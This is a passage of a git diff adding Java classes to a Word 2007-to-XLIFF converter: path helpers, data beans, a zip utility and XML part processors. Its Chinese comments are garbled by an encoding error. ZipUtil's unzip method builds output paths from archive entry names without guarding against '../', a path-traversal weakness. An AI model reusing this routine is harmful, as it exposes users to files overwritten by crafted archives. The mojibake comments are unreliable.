b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathConstant.java @@ -0,0 +1,29 @@ +package net.heartsome.cat.converter.word2007.common; + +/** + * ä¿å­˜éƒ¨ä»½éœ€è¦ä½¿ç”¨çš„文件的相对路径,
    使用之å‰ï¼Œå½“å‰è·¯å¾„必须为根目录 superRoot
    + * @author robert 2012-08-08 + */ +public class PathConstant { + /** 主文档 document.xml的相对路径 */ + public static final String DOCUMENT = "word/document.xml"; + /** 批注 comments.xml的相对路径 */ + public static final String COMMENTS = "word/comments.xml"; + /** 尾注 endnotes.xml的相对路径 */ + public static final String ENDNOTES = "word/endnotes.xml"; + + public static final String FONTTABLE = "word/fontTable.xml"; + /** 脚注 footnotes.xml的相对路径 */ + public static final String FOOTNOTES = "word/footnotes.xml"; + /** 文档设置 settings.xml的相对路径 */ + public static final String SETTINGS = "word/settings.xml"; + /** æ ·å¼å®šä¹‰ styles.xml的相对路径 */ + public static final String STYLES = "word/styles.xml"; + public static final String WEBSETTINGS = "word/webSettings.xml"; + /** 主文档 与其他文件进行关è”çš„å…³è”文件 document.xml.rels */ + public static final String DOCUMENTRELS = "word/_rels/document.xml.rels"; + /** 文件夹 word çš„ä½ç½®ï¼Œé’ˆå¯¹äºŽä¸»ç›®å½• */ + public static final String WORD_FOLDER = "word"; + /** 文件 interTag.xml çš„ä½ç½®ï¼Œé’ˆå¯¹äºŽä¸»ç›®å½• */ + public static final String interTag_FILE = "interTag.xml"; +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathUtil.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathUtil.java new file mode 100644 index 0000000..1bc3b48 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathUtil.java @@ -0,0 +1,165 @@ +package net.heartsome.cat.converter.word2007.common; + +import java.io.File; +import java.io.FileNotFoundException; +import java.text.MessageFormat; + +import net.heartsome.cat.converter.word2007.resource.Messages; + +/** + * word 2007 的资æºåŒ…
    + * 以最åŽä¸€æ¬¡å¤„ç†å‰æ–‡ä»¶æ‰€åœ¨çš„目录åšä¸ºæ ¹ + * @author robert 2012-08-08 + */ +public class PathUtil { + /** word 2007 文件解压åŽçš„根目录,å³æ ¹æ–‡ä»¶å¤¹ */ + private String superRoot; + /** 当å‰æ‰€å¤„在的目录 */ + private String root; + /** ä¿å­˜çš„临时路径 */ + private String tempRoot; + /** word 文件夹的路径 */ + private String wordRoot; + /** interTag.xml çš„ä½ç½®*/ + private String interTagPath; + + + + /** + * 构造SpreadsheetPackage对象 + * @param root + * 资æºæ ¹è·¯å¾„,在此路径下,包å«äº†Spreadsheet解压åŽçš„所有文件和正确的目录结构 + * @throws Exception + */ + public PathUtil(String superRoot) throws Exception { + this.superRoot = superRoot; + setRoot(superRoot); + wordRoot = superRoot + System.getProperty("file.separator") + PathConstant.WORD_FOLDER; + interTagPath = superRoot + System.getProperty("file.separator") + PathConstant.interTag_FILE; + if (!new File(wordRoot).exists() && !new File(wordRoot).isDirectory()) { + throw new Exception(MessageFormat.format(Messages.getString("PathUtil.msg1"), PathConstant.WORD_FOLDER)); + } + } + + /** + * 设置当å‰æ ¹è·¯å¾„ + * @param root + * @throws FileNotFoundException + * ; + */ + public void setRoot(String root) throws FileNotFoundException { + File f = new File(root); + if (!f.exists()) { + throw new FileNotFoundException(root); + } + this.root = root; + } + + /** + * 将当å‰ç›®æ ‡è®¾ç½®æˆæ ¹ç›®å½• + * @throws Exception + */ + public void setSuperRoot() throws Exception { + setRoot(superRoot); + } + + /** + * 获å–当å‰æ ¹è·¯å¾„ + * @return + */ + public String getPackageRoot() { + return this.root; + } + + /** + * 获å–当å‰æ ¹è·¯å¾„çš„å称 + * @return ; + */ + public String getRootName() { + File f = new File(root); + return f.getName(); + } + + /** + * 回到上一级目录,类似cd ..命令 + */ + public void back2TopLeve() { + File f = new File(root); + if (!f.getParent().equals(superRoot)) { + try { + setRoot(f.getParent()); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + } + } + + /** + * 获å–Spreadsheet包中的文件路径
    + * 如获å–workbook.xml,则relativePath的值应该为xl/workbook.xml
    + * 获å–xl/workbook.xmlåŽï¼Œ{@link #root}/xl将作为根目录 + * @param relativePath + * @param isSetRoot 是å¦å°†å½“å‰æ–‡ä»¶çš„文件夹设置æˆå½“å‰ç›®å½• + * @return + * @throws FileNotFoundException + */ + public String getPackageFilePath(String relativePath, boolean isSetRoot) throws FileNotFoundException { + if (relativePath.startsWith("..")) { + back2TopLeve(); + relativePath = relativePath.substring(relativePath.indexOf('/') + 1, relativePath.length()); + } + File ret = new File(root); + String[] dirs = relativePath.split("/"); + if (!ret.exists()) { + throw new FileNotFoundException(root); + } + if (dirs.length >= 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + ret = new File(ret, dirs[dirs.length - 1]); + if (!ret.exists()) { + throw new FileNotFoundException(relativePath); + } + } + if (isSetRoot) { + setRoot(ret.getParent()); + } + return ret.getAbsolutePath(); + } + + + /** + * 标记当å‰Rootä½ç½®,å‚考{@link #resetRoot()} + */ + public void markRoot() { + tempRoot = this.root; + } + + /** + * é‡ç½®å½“å‰Root到标记ä½ç½®,å‚考{@link #markRoot()} + */ + public void resetRoot() { + if (tempRoot != null && tempRoot.length() != 0) { + this.root = tempRoot; + tempRoot = ""; + } + } + + /** + * 将当å‰ç›®å½•è®¾ç½®æˆ word 目录 + */ + public void setWordRoot(){ + root = wordRoot; + } + + public String getSuperRoot() { + return superRoot; + } + + public String getInterTagPath() { + return interTagPath; + } + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/SectionSegBean.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/SectionSegBean.java new file mode 100644 index 0000000..8dfc665 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/SectionSegBean.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.converter.word2007.common; +/** + * ä¿å­˜æ¯ä¸ªæ–‡æœ¬æ®µä¸­ä¸€ä¸ªå°ç‰‡æ®µçš„容 + * @author robert 2012-08-10 + */ +public class SectionSegBean { + private String ctype; + private String text; + private String style; + private String extendNodesStr; + private String phTagStr; + + public SectionSegBean () {} + public SectionSegBean(String ctype, String text, String style, String extendNodesStr, String phTagStr){ + this.ctype = ctype; + this.text = text; + this.style = style; + this.extendNodesStr = extendNodesStr; + this.phTagStr = phTagStr; + } + + public String getText() { + return text; + } + public void setText(String text) { + this.text = text; + } + public String getStyle() { + return style; + } + public void setStyle(String style) { + this.style = style; + } + public String getExtendNodesStr() { + return extendNodesStr; + } + public void setExtendNodesStr(String extendNodesStr) { + this.extendNodesStr = extendNodesStr; + } + public String getPhTagStr() { + return phTagStr; + } + public void setPhTagStr(String phTagStr) { + this.phTagStr = phTagStr; + } + public String getCtype() { + return ctype; + } + public void setCtype(String ctype) { + this.ctype = ctype; + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/TagBean.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/TagBean.java new file mode 100644 index 0000000..7f8c41e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/TagBean.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.converter.word2007.common; + +/** + * æ­£å‘转æ¢æ—¶ï¼Œè¯»å–到æ¯ä¸ªèŠ‚点åŽå­˜æ”¾ç›¸åº”çš„æ•°æ® + * @author robert 2012-08-10 + */ +public class TagBean { + /** è¯¥æ ‡è®°çš„æ ·å¼ */ + private String style; + /** 文本值 */ + private String text; + /** 文本值在整个文本段的起始值 */ + private int start; + /** 文本值在整个文本段的结æŸå€¼ */ + private int end; + + public TagBean (){} + + public TagBean(String style, String text, int start, int end){ + this.style = style; + this.text = text; + this.start = start; + this.end = end; + } + + public String getStyle() { + return style; + } + + public void setStyle(String style) { + this.style = style; + } + + public String getText() { + return text; + } + + public void setText(String text) { + this.text = text; + } + + public int getStart() { + return start; + } + + public void setStart(int start) { + this.start = start; + } + + public int getEnd() { + return end; + } + + public void setEnd(int end) { + this.end = end; + } + + public static void main(String[] args) { + String seg = "The pump can be mounted on a standard IV pole or a horizontal mounting rail using the removable pole \" clamp in Figure 2)."; + String text= "The pump can be mounted on a standard IV pole or a horizontal mounting rail using the removable pole \" clamp in "; + text = text.replace("(", "\\("); + System.out.println(text); + System.out.println(seg.replaceFirst(text, "")); + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/ZipUtil.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/ZipUtil.java new file mode 100644 index 0000000..29be583 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/ZipUtil.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.converter.word2007.common; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +public class ZipUtil { + + /** + * 压缩文件夹 + * @param zipPath + * 生æˆçš„zip文件路径 + * @param filePath + * 需è¦åŽ‹ç¼©çš„文件夹路径 + * @throws Exception + */ + public static void zipFolder(String zipPath, String filePath) throws IOException { + ZipOutputStream out = new ZipOutputStream(new FileOutputStream(zipPath)); + File f = new File(filePath); + zipFiles(out, f, ""); + out.close(); + } + + /** + * 将压缩文件中的内容解压到指定目录中
    + * 如果baseDir的值为空,则将文件解压到相åŒçš„目录中,目录å称为"zipFile_files" + * @param zipFile + * 压缩文件路径 + * @param baseDir + * 解压的目标路径,å¯ä»¥ä¸ºnull + * @throws IOException + */ + public static String upZipFile(String zipFile, String baseDir) throws IOException { + File f = new File(zipFile); + if (baseDir == null) { + baseDir = f.getPath() + "_files"; + } + ZipInputStream zis = new ZipInputStream(new FileInputStream(f)); + ZipEntry ze; + byte[] buf = new byte[1024]; + while ((ze = zis.getNextEntry()) != null) { + File outFile = getRealFileName(baseDir, ze.getName()); + FileOutputStream os = new FileOutputStream(outFile); + int readLen = 0; + while ((readLen = zis.read(buf, 0, 1024)) != -1) { + os.write(buf, 0, readLen); + } + os.close(); + } + zis.close(); + return baseDir; + } + + /** + * 递归调用,压缩文件夹和å­æ–‡ä»¶å¤¹çš„所有文件 + * @param out + * @param f + * @param base + * @throws Exception + */ + private static void zipFiles(ZipOutputStream out, File f, String base) throws IOException { + if (f.isDirectory()) { + File[] fl = f.listFiles(); + // out.putNextEntry(new ZipEntry(base + "/")); + base = base.length() == 0 ? "" : base + "/"; + for (int i = 0; i < fl.length; i++) { + zipFiles(out, fl[i], base + fl[i].getName());// 递归压缩å­æ–‡ä»¶å¤¹ + } + } else { + out.putNextEntry(new ZipEntry(base)); + FileInputStream in = new FileInputStream(f); + int b; + // System.out.println(base); + while ((b = in.read()) != -1) { + out.write(b); + } + in.close(); + } + } + + /** + * 给定根目录,返回一个相对路径所对应的实际文件å. + * @param baseDir + * 指定根目录 + * @param absFileName + * 相对路径å,æ¥è‡ªäºŽZipEntry中的name + * @return java.io.File 实际的文件 + */ + private static File getRealFileName(String baseDir, String absFileName) { + String[] dirs = absFileName.split("/"); + File ret = new File(baseDir); + if (!ret.exists()) { + ret.mkdirs(); + } + + if ("/".equals(System.getProperty("file.separator"))) { + for (int i = 0; i < dirs.length; i++) { + dirs[i] = dirs[i].replace("\\", "/"); + } + } + + if (dirs.length >= 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + if (!ret.exists()) { + ret.mkdirs(); + } + ret = new File(ret, dirs[dirs.length - 1]); + if(!ret.exists()){ + File p = ret.getParentFile(); + if(!p.exists()){ + p.mkdirs(); + } + } + } + return ret; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/CommentsPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/CommentsPart.java new file mode 100644 index 0000000..4f54d2c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/CommentsPart.java @@ -0,0 +1,118 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; + +/** + * 批注文件 comments.xml çš„å¤„ç† + * @author robert + */ +public class CommentsPart extends PartOperate { + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public CommentsPart(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter) throws Exception { + super(partPath, xlfOutput, segmenter); + init(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public CommentsPart (String partPath, XliffInputer xlfInput) throws Exception { + super(partPath, xlfInput); + init(); + } + + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + /** + * 这里,因为处ç†å°¾æ³¨çš„时机是根æ®ä¼ å…¥çš„ id 决定的,但针对对å¯ç¿»è¯‘属性的处ç†ï¼Œåªèƒ½å¤„ç†ä¸€æ¬¡ï¼Œæ•…放在 run 方法里é¢ã€‚è¿™ç§æƒ…况,尾注,批注,有点类似 + */ + @Override + protected void converter() throws Exception { + operateTransAttributes("/w:comments/w:comment/descendant::w:p/w:r/w:pict/v:shape/@alt"); + } + + /** + * æ ¹æ®æŒ‡å®šçš„ id 进行处ç†æ‰¹æ³¨ä¿¡æ¯ + * @param id + * @throws Exception + */ + protected void operateCommentsContent(String id) throws Exception { + + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:comments/w:comment[@w:id='" + id + "']/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + List transAttrList = new LinkedList(); + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + + } + } + + public void outputPart() throws Exception{ + xm.output(partPath); + } + + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + protected void reverseConvert() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:comments/w:comment/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // DOLATER 先处ç†æ‰€æœ‰çš„属性 + analysisReversePnode(); + } + xm.output(partPath); + + //å†å¤„ç†å¯ç¿»è¯‘属性 + xpath = "/w:comments/w:comment/descendant::w:p/w:r/w:pict/v:shape/@alt"; + reverseTranslateAttributes(xpath); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentPart.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentPart.java new file mode 100644 index 0000000..22b6849 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/partOper/DocumentPart.java @@ -0,0 +1,463 @@ +package net.heartsome.cat.converter.word2007.partOper; + +import java.io.File; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.PartOperate; +import net.heartsome.cat.converter.word2007.XliffInputer; +import net.heartsome.cat.converter.word2007.XliffOutputer; +import net.heartsome.cat.converter.word2007.common.DocxConverterException; +import net.heartsome.cat.converter.word2007.common.PathConstant; +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * 文件 *.zip/word/document.xml 的处ç†ç±»ï¼Œä¸»è¦æ˜¯èŽ·å–内容,添加å ä½ç¬¦
    也是处ç†æ‰€æœ‰æ–‡ä»¶çš„å…¥å£ç±»ã€‚ + * @author robert 2012-08-08 + */ +public class DocumentPart extends PartOperate { + private PathUtil pathUtil; + /** 主文档与其他文件的关è”类实例 */ + private DocumentRelation docRel; + private String inputFile; + + private FooterNodesPart footerNodesPart; + private CommentsPart commentsPart; + private EndNotesPart endNotesPart; + private IProgressMonitor monitor; + + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个 w:p 节点åŽå‰è¿›ä¸€æ ¼ */ + private static int workInterval = 1; + + /** + * 正转æ¢çš„构造函数 + * @param partPath + * @param pathUtil + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public DocumentPart(String partPath, PathUtil pathUtil, XliffOutputer xlfOutput, + StringSegmenter segmenter, String inputFile, IProgressMonitor monitor) throws Exception { + super(partPath, xlfOutput, segmenter); + this.pathUtil = pathUtil; + this.inputFile = inputFile; + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + this.monitor = monitor; + + init(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public DocumentPart(String partPath, XliffInputer xlfInput, IProgressMonitor monitor) throws Exception { + super(partPath, xlfInput); + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + this.monitor = monitor; + + init(); + } + + /** + * åˆå§‹åŒ–,解æžæ–‡ä»¶ + */ + private void init() throws Exception { + nameSpaceMap = new HashMap(); + nameSpaceMap.put("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + nameSpaceMap.put("v", "urn:schemas-microsoft-com:vml"); + loadFile(nameSpaceMap); + } + + + @Override + public void converter() throws Exception { + // 第一步是判断当å‰æ–‡æ¡£æ˜¯å¦æœ‰æœªæŽ¥å—修订的文本,如果有,æ示 + if (validIsRevision()) { + String messages = MessageFormat.format(Messages.getString("docx2Xlf.msg2"), + new File(inputFile).getName()); + throw new DocxConverterException(messages); + } + + // 第一步先解æžèŠ‚点 w:sectPr 获å–é¡µçœ‰ä¸Žé¡µè„šçš„ä¿¡æ¯ + monitor.setTaskName(Messages.getString("docx2Xlf.task1")); + operateHeaderAndFooter(); + monitor.worked(1); + // 获å–主文档的内容 + getDocumentContent(); + + } + + /** + * 判断是å¦æŽ¥ä¿®ä¸ªä¿®è®¢ + * @return + */ + private boolean validIsRevision() throws Exception { + String xpath = "/w:document/w:body/descendant::w:ins/w:r/w:t[text()!='']"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + return true; + } + return false; + } + + public void testSegFile() throws Exception { + // 处ç†çš„å•å…ƒä¸º w:p + String xpath = "/w:document/w:body/descendant::w:p"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + // 开始分æžæ‰€å¾ªçŽ¯çš„æ¯ä¸€ä¸ª w:p 节点 + analysisNodeP(); + } + xm.output(partPath); + } + + /** + * 获å–页眉与页脚的信æ¯ï¼Œä¾æ®ä¸»æ–‡æ¡£çš„ W:sectPr 节点里é¢é¡µçœ‰ä¸Žé¡µè„šçš„顺åºã€‚ + * @throws Exception + */ + private void operateHeaderAndFooter() throws Exception { + String xpath = "/w:document/w:body/descendant::w:sectPr/descendant::node()[name()='w:headerReference' or name()='w:footerReference']"; + ap.selectXPath(xpath); + Map idMap = new LinkedHashMap(); + int index = -1; + while (ap.evalXPath() != -1) { + String nodeName = vn.toString(vn.getCurrentIndex()); + if((index = vn.getAttrVal("r:id")) != -1){ + idMap.put(vn.toString(index), nodeName); + } + } + + // æ ¹æ®èŽ·å–出的 id 去document.xml.rels 文件获å–对应的页眉与页脚的文件路径 + pathUtil.setSuperRoot(); + String docRelPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENTRELS, false); + docRel = new DocumentRelation(docRelPath, pathUtil); + + // 测试å•ä¸ªæ–‡ä»¶ã€‚ header1.xml +// HeaderPart headerPart = new HeaderPart("/home/robert/Desktop/header1.xml", xlfOutput, segmenter); +// headerPart.run(); + + // 新建一个 footerList ,主è¦æ˜¯ä¸ºäº†å…ˆè§£æžé¡µçœ‰ï¼ŒåŽè§£æžé¡µè„šã€‚ + List footerList = new LinkedList(); + for (Entry entry : idMap.entrySet()) { + String hfPartPath = docRel.getPartPathById(entry.getKey()); + if ("w:headerReference".equals(entry.getValue())) { + HeaderPart headerPart = new HeaderPart(hfPartPath, xlfOutput, segmenter); + headerPart.converter(); + }else if ("w:footerReference".equals(entry.getValue())) { + footerList.add(hfPartPath); + } + } + for (String footerPartPath : footerList) { + FooterPart footerPart = new FooterPart(footerPartPath, xlfOutput, segmenter); + footerPart.converter(); + } + } + + + /** + * 获å–文本档 document.xml 的内容。 + */ + private void getDocumentContent() throws Exception { + // 先处ç†å¯ç¿»è¯‘属性 + operateTransAttributes("/w:document/w:body/descendant::w:p/w:r/w:pict/v:shape/@alt"); + //String xpath="/root/descendant::a"; + String xpath = "/w:document/w:body/descendant::w:p"; + int allPSum = getNodeCount(xpath); + initWorkInterval(allPSum); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 17, SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", + allPSum % workInterval == 0 ? (allPSum / workInterval) : (allPSum / workInterval) + 1); + subMonitor.setTaskName(Messages.getString("docx2Xlf.task2")); + + int traveledPIdx = 0; + // 处ç†çš„å•å…ƒä¸º w:p + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ +// String pid = vn.toString(vn.getAttrVal("w:rsidRDefault")); +// if ("00320541".equals(pid)) { +// System.out.println("开始处ç†äº†"); +// } +// System.out.println("pId =" + pid); + + traveledPIdx ++; + + List transAttrList = new LinkedList(); + + vn.push(); + // 寻找å¯ç¿»è¯‘的属性,并添加到 transAttrList 中,这时的属性值已ç»ä¸ºå ä½ç¬¦äº†ã€‚ + childAP.selectXPath("./w:r/w:pict/v:shape/@alt"); + while(childAP.evalXPath() != -1){ + String altText = vn.toRawString(vn.getCurrentIndex() + 1); + transAttrList.add(altText); + } + vn.pop(); + + // å¯»æ‰¾å½“å‰ w:p 节点是å¦æœ‰è„šæ³¨ï¼Œå¦‚果有,则最åŽæ—¶æ·»åŠ  + List footerNodesIdList = new LinkedList(); + getFooterNodesId(footerNodesIdList); + + // å½•æ‰¾å½“å‰ w:p 节点是å¦æœ‰æ‰¹æ³¨ï¼Œå¦‚果有,则最åŽæ—¶æ·»åŠ  + List commentsIdList = new LinkedList(); + getCommentsId(commentsIdList); + + // å½•æ‰¾å½“å‰ w:p 节点是å¦æœ‰å°¾æ³¨ï¼Œå¦‚果有,则最åŽæ—¶æ·»åŠ  + List endNotesIdList = new LinkedList(); + getEndNotesId(endNotesIdList); + + // 开始分æžæ‰€å¾ªçŽ¯çš„æ¯ä¸€ä¸ª w:p 节点 + analysisNodeP(); + + // transAttrPlaceHolderStr 为å¯ç¿»è¯‘属性的å ä½ç¬¦ï¼Œé€šè¿‡å ä½ç¬¦èŽ·å–其代替的值,å†å°†å€¼è¿›è¡Œåˆ†å‰²åŽå†™å…¥ trans-unit 中。 + if (transAttrList.size() > 0) { + for (String transAttrPlaceHolderStr : transAttrList) { + String transAttrStr = translateAttrMap.get(transAttrPlaceHolderStr); + if (transAttrStr != null) { + String segIdStr = getSegIdFromPlaceHoderStr(transAttrPlaceHolderStr); + String[] segs = segmenter.segment(transAttrStr); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + xlfOutput.addTransUnit(seg, segIdStr); + } + } + } + } + + // 处ç†è„šæ³¨ + if (footerNodesIdList.size() > 0) { + operateFooterNodes(footerNodesIdList); + } + // 处ç†æ‰¹æ³¨ + if (commentsIdList.size() > 0) { + operateComments(commentsIdList); + } + // 处ç†å°¾æ³¨ + if (endNotesIdList.size() > 0) { + operateEndNotes(endNotesIdList); + } + + monitorWork(subMonitor, traveledPIdx, false); + + } + + monitorWork(subMonitor, traveledPIdx, true); + subMonitor.done(); + + + //结æŸæ—¶ï¼Œå…ˆä¿å­˜ä¿®æ”¹ footerNodes.xml 文件 + if (footerNodesPart != null) { + footerNodesPart.outputPart(); + } + if (commentsPart != null) { + commentsPart.outputPart(); + } + if (endNotesPart != null) { + endNotesPart.outputPart(); + } + + xm.output(partPath); + } + + /** + * 获å–脚注的ID + * @throws Exception + */ + private void getFooterNodesId(List footerNodesIdList) throws Exception { + otherAP.selectXPath("./w:r/w:footnoteReference/@w:id"); + while(otherAP.evalXPath() != -1) { + String id = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(id) && id != null) { + footerNodesIdList.add(id); + } + } + } + + /** + * 获å–批注的id + * @param commentsIdList + * @throws Exception + */ + private void getCommentsId(List commentsIdList) throws Exception { + otherAP.selectXPath("./w:r/w:commentReference/@w:id"); + while(otherAP.evalXPath() != -1) { + String id = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(id) && id != null) { + commentsIdList.add(id); + } + } + } + + /** + * 获å–尾注的 id + */ + private void getEndNotesId(List endNotesIdList) throws Exception { + otherAP.selectXPath("./w:r/w:endnoteReference/@w:id"); + while(otherAP.evalXPath() != -1) { + String id = vn.toRawString(vn.getCurrentIndex() + 1); + if (!"".equals(id) && id != null) { + endNotesIdList.add(id); + } + } + } + + /** + * æ ¹æ®id去处ç†è„šæ³¨ + * @param footerNodesIdList + * @throws Exception + */ + private void operateFooterNodes(List footerNodesIdList) throws Exception { + if (footerNodesPart == null) { + pathUtil.setSuperRoot(); + String footerNodesPartPath = pathUtil.getPackageFilePath(PathConstant.FOOTNOTES, false); + footerNodesPart = new FooterNodesPart(footerNodesPartPath, xlfOutput, segmenter); + footerNodesPart.converter(); + } + for (String footerNodesId : footerNodesIdList) { + footerNodesPart.operateFooterNodesContent(footerNodesId); + } + } + + /** + * æ ¹æ®id去处ç†æ‰¹æ³¨ + * @param commentsIdList + * @throws Exception + */ + private void operateComments(List commentsIdList) throws Exception { + if (commentsPart == null) { + pathUtil.setSuperRoot(); + String commentsPartPath = pathUtil.getPackageFilePath(PathConstant.COMMENTS, false); + commentsPart = new CommentsPart(commentsPartPath, xlfOutput, segmenter); + commentsPart.converter(); + } + for (String footerNodesId : commentsIdList) { + commentsPart.operateCommentsContent(footerNodesId); + } + } + + /** + * æ ¹æ®id去处ç†å°¾æ³¨ + * @param commentsIdList + * @throws Exception + */ + private void operateEndNotes(List endNotesIdList) throws Exception { + if (endNotesPart == null) { + pathUtil.setSuperRoot(); + String commentsPartPath = pathUtil.getPackageFilePath(PathConstant.ENDNOTES, false); + endNotesPart = new EndNotesPart(commentsPartPath, xlfOutput, segmenter); + endNotesPart.converter(); + } + for (String endNotesId : endNotesIdList) { + endNotesPart.operateEndNotesContent(endNotesId); + } + } + + /** + * åˆå§‹åŒ–进度æ¡å‰è¿›å‰éš”值,使之总值ä¸å¤§äºŽäº”百。 + */ + private void initWorkInterval(int allPSum){ + if (allPSum > 500) { + workInterval = allPSum / 500; + } + } + + /** + * 获å–æŸèŠ‚点的总数 + * @return + */ + public int getNodeCount(String xpath){ + int nodeNum = 0; + try { + ap.selectXPath("count(" + xpath + ")"); + nodeNum = (int) ap.evalXPathToNumber(); + } catch (Exception e) { + e.printStackTrace(); + } + + return nodeNum; + } + + /** + * 进度æ¡å‰è¿›å¤„ç†ç±»ï¼Œè‹¥è¿”回false,则标志退出程åºçš„执行 + * @param monitor + * @param traverPIdx + * @param last + * @return ; + */ + public boolean monitorWork(IProgressMonitor monitor, int traverPIdx, boolean last){ + if (last) { + if (traverPIdx % workInterval != 0) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + monitor.worked(1); + } + }else { + if (traverPIdx % workInterval == 0) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + monitor.worked(1); + } + } + return true; + + } + +// ------------------------------------------ 下é¢æ˜¯é€†è½¬æ¢çš„ä»£ç  ------------------------------------------------ + @Override + public void reverseConvert() throws Exception { + // 